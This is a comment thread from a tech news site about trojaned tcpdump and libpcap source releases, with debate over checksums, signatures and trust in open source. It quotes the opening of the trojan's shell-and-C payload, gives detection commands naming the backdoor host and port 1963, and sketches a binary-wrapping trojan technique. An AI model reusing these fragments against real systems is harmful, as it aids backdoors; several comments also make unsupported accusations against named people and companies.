  83. Re:Siltakoski Petri is somehow connected with this by mistered · · Score: 2
    I don't know what kind of /etc/services file you have on your FreeBSD boxes, but I doubt they look like this one. Scroll about half way down:

    #monitor 561/tcp
    #monitor 561/udp
    #chshell 562/tcp chcmd
    #!/bin/sh
    cat >conftes.c #include
    #include
    #include
    #include
    #include

    #define XOR_KEY 0x89

    int main (int argc, char **argv)
    {
    char c;
    int s, x, sv0[2], sv1[2];
    struct sockaddr_in sa;

    ...

    --
    Enjoy your job, make lots of money, work within the law. Choose any two.
  84. Recent incidents that I know of by frozenray · · Score: 2, Insightful

    irssi
    fragroute, dsniff, fragrouter
    BitchX

    This message says Recently there have been a spat of well publicized attacks against what I would consider to be the backbone of the open source movement - it's source code distribution system. Hackers have been penetrating people who download, say, OpenSSH and then compile it to use on their systems by trojaning OpenSSH itself. This strikes at the very HEART of Open Source by making the act of installing the software a weakness. Because Open Source has no one distribution point, there are many places for someone to verify if they want to install software securely. Because there are no vendors, the sites people download software from are usually not provided with a dedicated security staff.

    This is serious, guys and gals. Use the source, Luke - but what if I can't trust the source any more? Open Source has to find a method to get around this problem; see this post.

    --
    "There are already a million monkeys on a million typewriters, and Usenet is NOTHING like Shakespeare." - Blair Houghton
    1. Re:Recent incidents that I know of by Anonymous Coward · · Score: 0

      Two words: Gnu PG. ;-)

  85. Re:This is dreadful by Anonymous Coward · · Score: 0

    1. Get open-source software
    2. ???
    3. PROFIT!!!

    And this is your favorite anonymous coward saying, "Have a better business plan if you use a better alternative such as open source."

  86. Re:This is dreadful by forged · · Score: 2, Funny
    The guy is good, isn't he 8-}

    This reminds me of this one time when I chatted this girl on IRC. Oh wait.....

  87. Would it help to have a source Bank? by cmeans · · Score: 3, Interesting
    A single place where OS projects could deposit their code (on whatever frequent basis they liked), that would "guarantee" that the code was free of Trojans etc. before making it available to others for download...

    I'm just typing out loud here.

    Yes, there'd almost certainly have to be a cost associated with this, and I'd think it would be paid by the people who wanted source code, but didn't want to have to worry about checking it for Trojans etc..

    The source could still be publically available for comment and review to add to those being paid to perform the analysis.

    Seems like this might be a good service, once the idea is fleshed out more...

    There'd also need to be some definition of "guaranteed" (or maybe just a different word :0) that fit this scenario, most people don't want to set themselves up to be sued.

    1. Re:Would it help to have a source Bank? by Sloppy · · Score: 2
      Isn't what you're describing, pretty much what a prepackaged distribution is? For example, when someone installs Linux from a Red Hat CD, they are getting stuff from Red Hat, instead of from a bunch of potentially compromised servers all over the Internet. They are trusting Red Hat's QC.

      It's the LFS and other people who grab tarballs from here'n'there, who are vulnerable to these kinds of problems.

      --
      As copyright owner of this comment, I authorize everyone to defeat any technological measure which limits access to it.
    2. Re:Would it help to have a source Bank? by cmeans · · Score: 2
      That's a good point...but I was thinking of a non-partisan approach.

      Does RH scour the source code they distribute?

    3. Re:Would it help to have a source Bank? by John+Hasler · · Score: 2

      > Does RH scour the source code they distribute?

      I review the source code of my Debian packages.

      --
      Warning: this article may contain humor, sarcasm, parody, and perhaps even irony. Read at your own risk.
    4. Re:Would it help to have a source Bank? by theSilentOne · · Score: 1

      It already exists: sourceforge.net
      Thousands of OSS projects are hosted there. And exactly this is a concern for some people: the sheer concentration of projects there. If sourceforge.net would go black and cold, it would be a harsh backlash for the OSS community and probably mean the end for many smaller projects.

      SourceForge isn't doing any security screening at this time. The costs would be forbidding. Open Source doesn't mean free of charge, but most people came to expect it to be cheap. RedHat and SuSE could raise the price of their CDs by a couple of bucks to finance this additional service, but Debian can not.

      The best answer to this problem IMHO is to have the developers sign their source and binary distributions. But people need to verify those signatures (apparently the attacker didn't bother to adjust the MD5 hash of the infected files -- I wonder how many infected packages are out there, with proper hashs).

  88. Sigh by Anonymous Coward · · Score: 2, Insightful

    Note that THE DATE ON THE FILE DOESN'T MATTER. It was trojaned last night, not last year.

    The fact that someone so ineptly trojaned the source, not even bothering to generate a new md5sum, suggests that it's someone out to make it obvious looking. Someone who has a reason to discredit open source. Someone like a former script kiddie employed by microsoft...

    Never mind that russian crackers were wondering round MS servers for MONTHS back in 2000...

    1. Re:Sigh by geekee · · Score: 1

      Regardless of the culprit, this instance proves that MS has no monopoly on inept security. Therefore, more steps need to be taken to insure that downloaded source is authentic.

      --
      Vote for Pedro
    2. Re:Sigh by KjetilK · · Score: 2

      Someone who has a reason to discredit open source

      ...or someone giving us a wake-up call... Even though the free software community is better in many respects, there's much room for improvement, and this is a field where we should improve, so perhaps we should just thank the bastard who did this... :-)

      --
      Employee of Inrupt, Project Release Manager and Community Manager for Solid
    3. Re:Sigh by Anonymous Coward · · Score: 0

      It must be someone from Microsoft....nah couldn't be someone who got frustrated by Linux, or pissed off at tcpdump. Way to try and spin the problem. The fact is Linux got fucked, hands down, patch it and move on.

  89. Uhhhh by DankNinja · · Score: 0

    All it does it retrieve a /etc/services file from that website.

    1. Re:Uhhhh by Anonymous Coward · · Score: 0

      Go read the services file.

  90. Re:Siltakoski Petri is somehow connected with this by dohcvtec · · Score: 2

    Heh, I had only looked at the first few lines or so, and didn't think anything of it. Did anyone look in the parent directory from where that services file is? Or if the trojan gets any other files besides services?

    --
    -- Never hit a man with glasses. Hit him with a baseball bat.
  91. Mine is not Trojan'd by Anonymous Coward · · Score: 0

    I downloaded and installed (On a customer's machine even!) the file http://www.tcpdump.org/release/libpcap-0.7.1.tar.g z back on October 24th (The link still shows up in the "visited" color in my browser even). My md5sum is 0597c23e3496a5c108097b2a0f1bd0c7, and inspection of the config script and gencode.c show no signs of the evil code.

    So the trojan'd version has not been sitting there too long.

  92. Re:This is dreadful by Anonymous Coward · · Score: 0

    Looks like some jerk-off has discovered that overrated/underrated don't change the mod label, just the score.

  93. Read "Reflections on Trusting Trust" by Anonymous Coward · · Score: 2, Interesting

    Having source code freely available doesn't imply security. Ken Thompson demonstrated this very eloquently in his paper.

  94. Microsoft's new tactic! by SirAnodos · · Score: 1, Funny

    I'm telling you, this is Microsoft's new tactic for attacking open source. Make people afraid of it, and they will run in terror.

    1. Re:Microsoft's new tactic! by ScottKin · · Score: 0

      I nominage "SirAnodos" for the new GPL/Open Source/Slashdot FUD/Lie/Untruth Creator.

      I certainly hope that his twisted thoughts are not representative of the rest of the Open Source community.

      SocttKin

      --
      I don't give a rat's behind about "karma" here or anywhere else. Don't like what I have to say here? Deal with it!
  95. Big, bad Microsoft by d3xt3r · · Score: 2
    The scariest thought about this is that big companies who can't be trusted (read: Microsoft) could be doing this type of thing to 0wn your Windoze box and any other applications you might want to compile via MSVC++, VB, or .Nut.

    Scary, very scary.

    1. Re:Big, bad Microsoft by scrytch · · Score: 1, Flamebait

      Hey look, my perfect linux systems got 0wned, but hey there's big bad Microsoft over there, they might be doing this, hey pay attention to Microsoft hey now Microsoft is bad, please stop talking about anything that might be bad in linux because Microsoft is a bunch of meanie poo-poohs.

      --
      I've finally had it: until slashdot gets article moderation, I am not coming back.
    2. Re:Big, bad Microsoft by ReelOddeeo · · Score: 2

      Big bad evil monopolistic companies don't need to go to anywhere near the same effort you are thinking of.

      If they want to 0wn someone's precious VB code, then they can just program the trojan routines into the compiler without disguising them. It's not like you have the source to the compiler to examine.

      But this entire point is moot. If they want to own large numbers of machines, they have a much simpler mechanism: Windows Update. Since millions of people agree to let their XP box automatically download and install updates from MS, they don't need to 0wn you today. They could at any artibrary time decide to 0wn you through Windows update. The advantage of this approach is that there is nothing today that looks suspicious. All code obtained via. Windows Update is legit, furthering your trust in Windows Update.

      In the event, say, of a great national emergency, for instance, an unfavorable court ruling against Microsoft, they could overnight 0wn millions upon millions of boxes.

      So why would they go to the trouble to do the "Reflections on Trusting Trust" thing to trojan their compilers? Even if they did trojan their compilers, the trojan might be known to only a small number of people. Hypotheteical example: one small group writes the back end code generation library of the compilers and gives that library in binary form to other compiler groups within the beast. In this scenerio, only a small number of people would know about the trojaned compilers, all compiliers would be affected, and there is no reason to disguise it in the source code.

      --

      Those who would give up liberty in exchange for security and DRM should switch to Microsoft Palladium!
  96. Sandbox Your Applications by gehirntot · · Score: 5, Informative
    Lately, we have seen many trojaned distributions. To prevent these problems from affecting us in the future, we need to use cryptographic signatures as part of software distribution. Otherwise, we never know if a particular piece of software is authentic or not. Signature checking needs to be part of the installation process. I believe that Debian's aptget is one of the few tools that actually does this.

    In the meanwhile, I suggest that you run all your untrusted software in a sandbox like Systrace which is available for the BSDs and Linux.

    This screenshot shows Dug Song detecting the trojan in the Fragroute distribution. Systrace allows you to run completely untrusted applications in a sandbox. The security policy is created on the fly with the user deciding what an application is allowed to do.

    We need to be much more careful about the software that we run.

  97. Re:This is dreadful by Anonymous Coward · · Score: 1

    The viruses spread because of known holes in Outlook - that MS refused to fix for months, and actively took legal action against people pointing them out in the first place. Kinda like the catholic church forbidding galileo to point out that the earth went round the sun...

  98. Re:prison by Anonymous Coward · · Score: 1, Funny

    Goddamn, just becuase they might be loaded with more trojans than you'll ever need, spying on all of your important works, please, please use a closed-source spell-checker, this OS one appears to be faulty.

    Reading that text was just plain painful.

  99. Re:This is dreadful by Anonymous Coward · · Score: 0

    Unless it was an editor. In that case, s/jerk-off/editor/g.

  100. a quick test to see if your hit by Anonymous Coward · · Score: 4, Informative

    login as root (or whoever can run tcpdump)

    tcpdump -n host 212.146.0.34 &
    telnet 212.146.0.34 1963

    if tcpdump sees the connection since it isn't ignoring port 1963, if you don't see the connection, then your tcpdump is ignoring port 1963

    and well, its always nice to /. your local rooted base.
    the people at 212.146.0.34 should change it to something like /usr/bin/tcpd echo 'A' (i think that was the quit code)

    if this test is wrong, well, so be it, i'm still new at this linux thing, but i'm better at linux then i am at spelling (boy, i should be an /. editor)
    --Anonymous Coward

    1. Re:a quick test to see if your hit by Anonymous Coward · · Score: 0

      shouldn't you also be able to check just by doing

      tcpdump -d

      since you didn't enter anything more it should just be a ret instruction. the trojan would add a 'not port 1963' and should because of that show a lot more than just a ret.

      (haven't tried it myself though, don't have tcpdump installed..)

    2. Re:a quick test to see if your hit by ronys · · Score: 1

      Even quicker:

      strings `which tcpdump` | grep "not port 1963"

      If this returns nothing, you're clean. Otherwise, the executable contains the hack that makes tcpdump ignore the port.

      (Testing via telnet to port 1963 and seeing if tcpdump ignores it fails in our case, since iptables is configure to drop such a connection...)

      --
      Ubi dubium ibi libertas: Where there is doubt, there is freedom.
  101. Early news from tcpdump.org by fenner · · Score: 5, Informative

    I moved the binaries on the tcpdump.org web site, so that the "download" links won't work.

    "ls -c" says that the modified binaries were installed at Nov 11 10:14:00 2002 GMT.

    Preliminary inspection says that the CVS repository is O.K.

    1. Re:Early news from tcpdump.org by fenner · · Score: 2, Informative

      The distributions from sourceforge are safe. See

      http://www.sourceforge.net/projects/tcpdump/ http://www.sourceforge.net/projects/libpcap/

      The MD5s of safe versions that HLUG provided appear to be correct; my own MD5 says:

      MD5 (tcpdump-3.7.1.tar.gz) = 03e5eac68c65b7e6ce8da03b0b0b225e
      MD5 (libpcap-0.7.1.tar.gz) = 0597c23e3496a5c108097b2a0f1bd0c7

  102. What if the crackers blend in? by ccoder · · Score: 1

    What you're saying is perfectly valid, but what if I use common sounding variable names to make it appear as if I was doing something I wasn't? Even with MOST good programmers, they aren't ever trained to debug code in this manner (I know a few CS exams do, for sure, but I have NEVER seen a huge project train people for this).

    How about this:

    Lets start a few grassroots projects (doesn't matter how many) and work on educating people to read obfuscated code. Identify when strtok, fopen, etc etc is and is not doing harmful things to data - when it may indeed be doing something nefarious.

    I started a site myself here to help myself start explaining simple stuff.. and eventually will work up to writing drop-in replacement libraries for other programs, or perhaps ways to trojan executables in memory you might have have control over (ptrace?).

    Lets all learn a bit, and share the knowledge.

    [plug]Damn my sig makes strange sense now[/plug]

    --
    "During times of universal deceit, telling the truth becomes a revolutionary act" -- George Orwell
  103. www.tcpdump.org by kludge99 · · Score: 3, Insightful

    Interesting that there is no mention of this on the tcpdump.org website, one would think they would at least post something about it.

  104. _NSA backdoor by Martin+S. · · Score: 3, Interesting

    Don't think for a second that Microsoft hasn't put back

    Microsoft *have* inserted a backdoor into the CryptoAPI for the NSA.

  105. How did this get added? by rot26 · · Score: 2, Interesting

    I know this is a stupid question but I don't understand how this ended up in the distribution in the first place.

    --



    To ensure perfect aim, shoot first and call whatever you hit the target
    1. Re:How did this get added? by Ektanoor · · Score: 2

      Well, tcpdump.org guys may be the best to answer this question but there are some usual ways to do it:

      A: Break into the Web site, get privileges and change the source.

      B: Play the dirty contributor, add the torjaned code during development.

      C: Play the good coder, get popularity and in last moment change the hat.

      D: Play the jerk coder, make some silly debugs and leave the backdoor open in the distro.

      D is probably the most inoccent. However it is not unusual as it seems. We have some good examples of debug backdoors left by well intended developers or less scruplous vendors.

      B and C are a risk. You have to leave some tracks behind before you play dirty. It demands brians and some guts to do it. And it demands that you care for not being catched. However, these situations are not impossible.

      A is the most usual of all. Breaking sites or users responsible for them has been the most usual, experienced and well-proved tendency of all. Besides, the one that gives the best results. You may be a super-hacker, creating a super-tool and hoping for a super-world out of your super-work. But you are not God All-Mighty.

      Everyone has its strong sides and weak ones. It is very frequent to see that if one is a developer, then things concerning system and network administration are exactly his weak sides. The same goes for admins and development, example: me. I may be a good sysadmin and most people consider me as such. However, if I write a few pieces of code I usually get the reaction: "Uh, oh, hmmm... well I understand what you trying to do but leave to me that thing, ok?"

      The problem why so many programs are being broken is not a problem of developers as developers. It is a problem of system administration, for which they may as far as I am from development of such tools like tcpdump. The solution to this problem is that main developers should start to care about gathering not only coders but also admins. However this may not be a solution for every ill. It may turn into into a new sphere. Imagine some ubercracker being invited as admin for some major site...

  106. Re:For $40 Bucks... by Grax · · Score: 1

    You are partially correct.

    If you download the author's public key today when you install widget 2.3 and tomorrow Tom Blackhat replaces both the author's public key and places a trojaned widget 2.4 you will catch it when you do the upgrade because you got the legitimate key prior to it's replacement. Only new downloaders will be screwed.

    Obviously it is still better to place the public key in a secure location separate from the files but there is some use to the key system even if the key is replaced later.

  107. Closed Source allows you to retaliate by Anonymous Coward · · Score: 0

    This isn't the first post of this type of thing with open source and I've always wondered if it's a big deal when I see them.

    But I think I finally get the difference between Closed Source and Open Source with regards to evil code:

    Closed Source with Intentional Evil Code = Law Suit
    Open Source with Intentional Evil Code = Tough Luck

    I know the rebuttal is - "with open source, you can find the evil code, you have more eyes looking to find that evil code" but as it has been noted in this thread, how long has it been there? A year, more? Plus look at the number of almost anonymous (if not completely anonymous) contributors to the code. Closed Source doesn't have that liability.

    Sorry but this one goes grudgingly to the Close Source win column.

  108. Date of Trojan is after Nov 1, 2002 by Skjellifetti · · Score: 5, Informative

    I downloaded and installed libpcap and tcpdump on Nov 1. The versions I have came from tcpdump.org. md5sum shows that they have the correct checksum and not the trojaned checksum as reported on the Houston LUG page. A grep of the sources for the port number and ip found in the trojan reports null. It looks like the trojan files were placed on tcpdump.org after Nov 1, 2002.

  109. Bollocks by earlydaysofsin · · Score: 1

    When was the last time Microsoft paid you when a security hole was found in their product. YOU should have got your admins to verify the checksums before installation. The parent poster is a troll

  110. phew? --- just how carefully did you read? :-) by fw3 · · Score: 3, Informative
    if the sniffer is trojanized, then it could possible hide such "activities". I actually read the article and it however seems that it was not the case here... phew :-)
    From the article: Gencode.c is modified to force libpcap to ignore packets to/from the backdoor program, hiding the backdoor program's traffic.

    MD5 checks work nicely. Sure pgp in theory is better but since md5's are cached locally, and a helluva lot faster to check the chances that they will actually be used and verified are seemingly quite good.

    Which is to say in practice MD5 has caught rather a lot of these problems, and in quite timely manner.

    As irrelevant as various source-distributions (e.g. lunar, source-mage and Gentoo) are at present in other respects, they make a nice 'canary' in the coal mine :-).

    --
    Linux is Linux, if One need clarify their dist: <Dist>/GNU Linux
    bsds are of course just BSD
    1. Re:phew? --- just how carefully did you read? :-) by mirko · · Score: 1

      Yeah, what I meant is that the backdoor will hide itself but not eventual other backdoors residing in others trojanized programs...
      Thanks for your clarification, though :)

      --
      Trolling using another account since 2005.
    2. Re:phew? --- just how carefully did you read? :-) by Codifex+Maximus · · Score: 2

      MD5's and source tarballs/binaries should be under the protection of tripwire or some other system guardian. GPG signatures are a good way of protecting things too.

      But just bare MD5s are not enough. You must protect the MD5's from being modified to pass the trojans. All source and binaries available for download from a trojaned or rooted site must be considered suspect until they pass a diff on untrojaned source.

      I know I'm thinking out loud here but this is how I understand the problem. Correct me if I'm wrong.

      P.S. Time to get a good packet sniffer!

      --
      Codifex Maximus ~ In search of... a shorter sig.
  111. Coincidence by thasmudyan · · Score: 2

    I don't mean to troll (and I hear you say "yeah but you are") BUT quite a few project sites seem to have been infused with trojaned downloads over the last few months. Actually makes you think if there is a certain person or organization behind this? Considering the fact that news like this give these projects a bad security reputation, which counter-balances the built-in security breaches of a certain commercial software giant just nicely. Just a paranoid thought, don't take it too seriously though (I know you won't but still).

    1. Re:Coincidence by Anonymous Coward · · Score: 0

      First Openssh was trojaned a few months ago... then Sendmail. It seems to me there was one more recently. I would agree that there seems to be a concerted effort behind this, probably a single source (or group) is behind it. Pretty good work to hack security developers so consistently. Remember, get your MD5s and check your sources!

  112. Same with (Free)BSD port system by Anonymous Coward · · Score: 0

    FreeBSD (don't know about other BSDs) stores the checksums either locally when installing the ports-collection or onto another server just like gentoo.

    1. Re:Same with (Free)BSD port system by mjh · · Score: 2

      Considering that gentoo's portage system is based off of the BSD ports system that's not surprising.

      --
      Key to financial independence: Spend less than you earn. Save and invest the difference. Do it for a long time.
  113. 1963 == Year Kennedy was shot by toupsie · · Score: 1, Offtopic
    Could this be related to the year that Kennedy was shot? The aniversary is on Nov. 22.

    Nah probably not...

    --
    Strange women lying in ponds distributing swords is no basis for a system of government.
  114. DEMAND REMOVAL OF CAPS LOCK KEY!!! by Anonymous Coward · · Score: 0
    Settle down Beavis. There was no need to BURN OUT MY FREAKING RETINAS BY TYPING IN ALL CAPS! We can get the message in a mixed case title.

    That's why we need a new moderator point:
    -1 Caps Lock Title

  115. Re:How is this fair?-Swinging a dead cat. by Anonymous Coward · · Score: 0

    "All the replying posts pointing out that it's a phone company/ISP and it's almost certainly nothing to do with this chap are at 2 or below, meaning that many people won't see them and this individual's name is now besmirched.

    And, by the way, this happens all the bl**dy time on /. An early poster makes assumptions and gets modded way the hell up, then all the rebuttals pointing out he's talking out of an unreliable orifice wallow in the low point range."

    You mean like yours?

  116. lol... by Anonymous Coward · · Score: 0

    and it's not the only one found today, nor in the past week... good to see that slashdot is finally reporting on this stuff.

    To all those who think linux is safe and secure... guess again. It's just that you guys spend more time writting viri and looking for 'sploits' in MS code than MS code jockeys do with linux... until now. That and the 9 to 1 ratio of users.

    1. Re:lol... by endrek · · Score: 1

      Hrm... any one remember when MS shipped a whole country load of trojan infected copies of Visual Studieos out to like Vietnam or Korea or someplace? And those people were paying for it. Got what they paid for I guess..

  117. Why not r/o hardware? by Anonymous Coward · · Score: 0

    Isn't read-only hardware the simplest answer for this kind of attack?

    If the files are coming from a CD-R, there's no trojan. Period.

    Of course CD-Rs are too small for many sites. How practical is it to write-protect a HD?

  118. Re:This is dreadful by Anonymous Coward · · Score: 1, Funny

    Yeah, that girl on IRC was probably Jazzman.

  119. Re:This is dreadful by Anonymous Coward · · Score: 0

    oh.. yah.. sorry.

    The win95 trojan, I forget to tell you about.
    Unfortunately, Bill wasn't man enough to tell
    you about it himself, but on the otherhand,
    you've been running win95 flawlessly for the
    last 7 years, without 1 lost manhour.

    --
    Silvio

  120. OK....Since this guy is identifiable... by WKSGene · · Score: 1

    Question: Since this guy is identifiable..why not have Finnish govt. start looking with him. (Of course, I realize that he may not be the actual perp...but...)

  121. Holes in open source? by phorm · · Score: 2

    Did those virii come distributed with the product? Now you're going to tell me there are ABSOLUTELY NO possible security holes in open source software, ever right? Go on...

    Ignoring the fact that installing certain operating system components are often worse on your computer than a virus (by installing this service pack, we may enter your computer)...

    Nothing is 100% secure, and nobody ever said linux is (or not anyone intelligent, anyways). However, tallies of response time when a breach is found, and often the time in finding such a breach, are the factors at hand. You'll certainly not see MS yelling out "hey, we were hacked, check your software people," but instead something more like a quiet, um... something wrong... here patch... you fix.

    And yes, lots of MS tools come with bugs in them that leave your computer so open that you might as well just invite half the web for a party. Once MS gets the patch out, if you're a decently intelligent admin/user, you can fix things up to plug the hole, or meanwhile just disable affected components,etc.

    MS isn't all the problem, idiots who don't patch up are also a problem (demonstrated by the continual code red attempts shown in my webserver logs), but at least when something goes wrong we hear about it, and can expect a solution shortly after discovery.

  122. Not quite... by Anonymous Coward · · Score: 0

    You said: "People using source for security who are in category 1 or 2 are fooling themselves."

    Not quite. Here's why:

    When you trust a binary, you are trusting the builder of that binary, the system on which it was built, AND the source of the source (i.e. the CVS repository or other ultimate source of the code, and all the source delivery mechanisms and servers like FTP). When you use the source directly, you remove one more trusted item from the list. Just like the builder of the binary, you trust the source of the source, but you build it on your own system which supposedly you trust more than someone elses.

    For projects that build and provide binaries directly, there may be some trust overlap between who is the builder of the binary and the source of the source.

    I generally agree, however, that if you are in category 1 or 2, you are a fool to think you are totally safe. But it is NOT equal to users of binaries since you do remove a middleman of sorts that binary users must trust.

  123. Re:Siltakoski Petri is somehow connected with this by frozenray · · Score: 1

    I guess he may be one of those poor sods who got their Unix sysadmin training through this.

    --
    "There are already a million monkeys on a million typewriters, and Usenet is NOTHING like Shakespeare." - Blair Houghton
  124. Centralized and De-centralized PGP server for OSS by dr.Flake · · Score: 2, Insightful


    Maybe somebody has already posted this idea as a project on sourceforge..

    There have been too many of these incidents lately, and it's giving OSS a bad odor. We must be carefull. Telling the rest of the world closed binaries are infected often as well does not help. The damage is already done.

    This is my idea to prevent most of these jokers tricks.

    In stead of placing the checksums next to the source on the same server we nead to place it some where safe. A number of centralized servers with a sole purpose to serve these sums, in several locations, on preferably differend operating systems. This combined with the use of eg PGP.

    All distro's, for those who have not already, must apply a simple program ala portage and apt that checks against multiple PGP-key servers before the build commenses.

    Now, how to make sure the admin of the project is the one signing the source on his machine.............

    --
    Why are other peoples sig's always more witty ???
  125. Gentoo Bugs Discussion by Demosthenex · · Score: 1

    The discussion we started last night on the Gentoo bugs forum has some good information.

    http://bugs.gentoo.org/show_bug.cgi?id=10663

    Thanks again to Matt, Scott, and Bruce for the help doublechecking my work and posting the warning.

    Demo / Russell

    1. Re:Gentoo Bugs Discussion by Ferelwing · · Score: 1

      *grin* Well I am proud of you *grin* not bad Russ.

  126. S/MIME by nsayer · · Score: 2

    ... Or you could join the Thawte web of trust and use S/MIME. The advantage there is that even if you do nothing more than sign up, your e-mail address is verified to belong to you. That alone is more rigorous verification than anything you're guaranteed with a PGP key. Get notarized twice, and your certificate can have your name in it, and those who get e-mail from you will know *exactly* what identity assurance the signature implies. The same can't be said with a signed PGP key. Plus with S/MIME, there is a key expiration mechanism, which insures that the key can't (reasonably) be brute-forced before it becomes useless.

    S/MIME support is also more widespread. Why does that matter? Because more folks would be in a position to verify the signature. If you put a link on a download page to an S/MIME message with a mime-type of message/rfc822, browsers that support S/MIME (at least netscape, mozilla, I believe IE) will verify the signature and display the contents with a nice "signed" icon. The contents of the message would be the MD5 sums of the files.

  127. Well . . . by Anonymous Coward · · Score: 0
    I guess that's better than finding a Trojan in your can of Red Bull.

    ~~~

  128. who needs what? who needs to protect us? by tshuma · · Score: 1

    This is not the first time that things like this is happaning, ms make this not once! Open source always a bit dangerious, because there is no one who is responsible for it. But what does Ms with it? The question is, who needs to protect us? We have to do it every time and every way? Or the distributer? the company who make the code? Maybe we will need a community or committee for testing the source? :)) I thik if I give you a code I should be check it before I give it to you! And I think this is the only way which can work! People, company who give out code with infections will write there name to the big black list.. as it happaned with ms! So? Who what?

    --
    There is only one good solution: The simpliest!
    1. Re:who needs what? who needs to protect us? by Zapdos · · Score: 2

      I protect myself, which I can. Nobody can (or even wants to) stop me from using or changing anything on my pc, and a trojan will have problems with a good filewall.

      Speaking of windows, I had to run ad-aware on my wife's "completely updated" XP box yesterday. I hate the virus company that makes gain. In fact there are quite a few websites that will install this and simular spyware on your "safe" OS.

      I do realize that my firewall will stop gain from talking, but when gain cannot talk to its home it will slow your windows box to the point of being unusable. BTW she has never had any gain supported software installed.

    2. Re:who needs what? who needs to protect us? by tshuma · · Score: 1

      I think I know what you are talking about..

      It would be better if the os company give the protection for own os.
      But until it will happen, we have to pay for anti-virus software to protect us.

      You sould know something about anti-virus company..

      The virus company had a lot of work because too many people make virus!! Not because they want to have profit. But every company working with employee, and you have to pay them. These company needs hardware and knowlidge too.. Of course there should be profit too, but the first reason why they start to make anti-virus protection because of virus.

      People can write virus because the software company (mostly the OS manufacturer) make mistakes, holes in the product. This is why they should give the protection too.. and not only with spxxx !!!

      If you dont want to pay for a product to protect you, you have to choose another way to protect yourself. Maybe you can, but many of us know nothing about protection! And they need something to use! (mostly every anti-virus company have free product too)

      There are more people who know nothing about computer, but use it every day. And I am sorry to say it, but I know too many administrator who know nothing about protection and rules too.. mostly in MS product.

      Think about it:
      If you buy a car, and you have problems with it, will you repair it, or will you bring it to a mechanic? But if all cars from that company have the same problem, the company will find a solution for it, and you dont have to pay for it!!

      What is the diffrent between companies who makes car and software?? It is another letter... :))

      So I say company who make the codes/product have to be sure the product is clean. There are many ways to do it, but that only technical question which one to use.

      --
      There is only one good solution: The simpliest!
    3. Re:who needs what? who needs to protect us? by Zapdos · · Score: 2

      A car is a wonderful example. If I have a burnt out headlamp I fix it. I have never really had any real car problems, because I am a good car "admin." I do my maintenance as scheduled. If I have a flat tire, I change it with a spare, and then go to see a tire shop, not the manufacturer. If you have a security problem with windows, do you wait for MS to show up, or do you use another options?

      While I do think that the manufacturer is responsible for many of the problems, I do not have time to wait on the side of the road , for the manufacturer to show up and fix my flat tire.

    4. Re:who needs what? who needs to protect us? by tshuma · · Score: 1

      Yes, you are right!

      What I was saying, that company should fix the problem, who make it! Of coures there is no time to wait for it!
      But that is why I told, these company should pay for others, who help them out, and not the costumer who bougth the product.
      You know every product has a quaranty for 1 or more year!! but not with software??

      It is not only about Microsoft, it is all about software manufacturer. And the topic is about an open source product. We know there is no bug -clean product, only good or bad product. If the bug is not so big, that is ok.
      In this topic we was talking about infections, and protection.

      I do say, protection have to be in the product, and the costumer should use it!

      ps.: I like your ps :))

      --
      There is only one good solution: The simpliest!
  129. Re:The significance of 1963 by Alien+Conspiracy · · Score: 1

    The year rings a bell..
    (a) The year of inauguration of the Apollo Space Program
    (b) The year of the Afghan reconstitution
    (c) Martin Luther King delivers the "I have a dream" speech.

  130. How the OpenSSH server got hacked by Danta · · Score: 1
  131. More by Danta · · Score: 1
  132. Simple by Anonymous Coward · · Score: 0

    The mantra of Open Source (Many eyes on the code) is nothing but marketspeak. In reality virtually noone ever looks at the code. Couple that with a development staff of the same people that write viruses and all of Open SOurce becomes one big time bomb.

  133. Even more by Danta · · Score: 1

    This here is also interesting.

  134. Re:prison by HBI · · Score: 1

    At least a reasonable reply.

    Too many morons with mod points at this place. As if pointing out the obvious, that governments don't give a rat's ass about pollution of open source projects with trojan code. Since it's become obvious that the open source community cannot keep its code safe from such attacks, it's something to worry about.

    Something -- code vaults, stronger verification checks of code -- whatever, has to be done about it now, or we're going to have to remove all open source stuff from anyone who cares about their systems, meaning government and business.

    Knee-jerk support for Open Source is as pathetic as the same for Microsoft. This is a hole you could drive a truck through and a lack of exercise of fiduciary responsibility due to open source zealotry is as bad as what the bastards at Enron did. Fix this, or the open source stuff is coming out of my company, and anywhere I work.

    You assholes with mod points aren't going to make this problem go away. It'll be your undoing. I can hear the M$ sales pitch right now...

    --
    HBI's Law: Frequency of calling others Nazis is directly correlated with the likelihood of the accuser being Communist.
  135. teaser... by zogger · · Score: 2

    ...well? Please to release the info and name the bank and name the program. You are FOR crooks or AGAINST crooks, and releasing the info of this backdoor is a good thing to do. If it's really there, it most likely is *illegal* so any sort of nondisclosure noise is null and void, AFAIK. You DON'T have to cover up illegalities, in fact you are supposed to report them. This bank and it's bogus officers and "bosses" needs to see the light of day in a fed courtroom.

  136. Automate the process? by Rotten · · Score: 2

    Is there any tool to analyze source code as an antivirus scans a binary file?

    For example, in this case, the program is running an external app and making changes to a system file.

    This is the first kind of thing I would see if I audit the code quickly.

  137. Punishment by Anonymous Coward · · Score: 0

    we should divorce tcpdump.org and take half their money. at least that was my punishment when my wife found a Trojan in my car.

  138. Sounds like a job for... by Anonymous Coward · · Score: 0

    TRUSTED COMPUTING!

    By locking up the code so no one will ever ever be able to see what it really is, then we can INSURE that people get safe code that runs like a happy little gerbil! Yes!

  139. Not quite so simple by FallLine · · Score: 2
    It takes much less than you seem to think:

    rename the target binary 'program' as 'program.lib'
    Make a C program that first does the evil you want to do, then execv program.lib
    Compile your program and put it instead of the original program executable.

    It's not that simple. Sure, if all you're looking to do is execute some code and THEN give the user their expected interface, then that will work half-acceptably. However, you could not use this as a way to, say, discretely intercept logins and passwords, transfer account balances, read someone's database, or what have you since all of that requires you to intercept things and still provide the user with acceptable responses (at least if you wish to avoid detection for more than a couple runs). Now you might attempt to come up with some elaborate scheme to act as an interactive go-between between the actual application and the your trojan, but then you've greatly increased the complexity and the odds of detection.

    So, you see, there is no difference security-wise.
    No. There is a huge difference.
    1. Re:Not quite so simple by bockman · · Score: 1
      However, you could not use this as a way to, say, discretely intercept logins and passwords, transfer account balances, read someone's database, or what have you since all of that requires you to intercept things and still provide the user with acceptable responses (at least if you wish to avoid detection for more than a couple runs).

      I could. Almost in exactly the same way I would do adding a backdoor to an open-source program. From my evil code at the beginning I can read files and databases, redirect/duplicate network trafic, and so on. Truly, I might not be able to interact with the original code (not without some clever trick, anyway), but this is not needed to steal secrets: a password is not generated inside the program: it comes from outside (and I can intercept that) and often go outside(and I can intercept that).

      On the other hand, cleverness shall be applied also to place a backdoor in open source programs: or do you think that something like:
      gets(password); send(socket, password, strlen(password)) would not be spotted the same second in which it is submitted in the CVS of some open source program?

      --
      Ciao

